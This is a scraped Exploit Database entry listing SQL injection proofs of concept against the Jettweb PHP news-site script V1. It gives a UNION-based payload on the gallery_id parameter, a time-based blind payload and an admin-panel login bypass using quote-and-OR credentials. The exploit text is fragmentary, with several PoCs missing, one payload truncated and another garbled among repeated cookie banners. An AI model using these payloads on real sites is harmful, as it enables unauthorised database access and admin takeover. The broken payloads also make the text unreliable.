

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

OK

Do not sell or share my personal information



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS

Jettweb PHP Hazır Haber Sitesi Scripti V1 - SQL Injection

EDB-ID:

46597

CVE:

N/A

EDB Verified: ✗**Author:**[AHMET ÜMIT BAYRAM](#)**Type:**[WEBAPPS](#)**Exploit:** / **Cookiebot**
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS

```
# Exploit Title: Jettweb PHP Hazır Haber Sitesi Scripti V1 - Multiple
Vulnerabilities
# Date: 23.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://jettweb.net/u-5-php-hazir-haber-sitesi-scripti-
v1.html
# Demo Site: http://haberv1.proemlaksitesi.net
# Version: V1
# Tested on: Kali Linux
# CVE: N/A

----- PoC 1: SQLi -----

Request: http://localhost/[PATH]/gallery.php?gallery_id=1
Vulnerable Parameter: gallery_id (GET)
Payload: gallery_id=1' UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a786b71,0x63565549564d5a424e57746d6
-
UsCA

----- PoC 2: SQLi -----
```

Cookiebot
by Usercentrics**This website uses cookies**

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

```
btnvote=0%3%Bonder&option=0'XOR(1T(now( )=sysdate( )%2Csleep(0)%2C0 )XOR' Z&pol
```

```
----- PoC 5: Authentication Bypass -----
```

```
Administration Panel: http://localhost/[PATH]/yonetim/admingiris.php
Username: '=' 'or'
Password: '=' 'or'
```

Tags: [SQL Injection \(SQLi\)](#)Advisory/Source: [Link](#)

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

- Databases ▾
- Links ▾
- Sites ▾
- Solutions ▾



EXPLOIT DATABASE BY OFFSEC [TERMS](#) [PRIVACY](#) [ABOUT US](#) [FAQ](#) [COOKIES](#) ©

[OffSec Services Limited](#) 2026. All rights reserved.



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >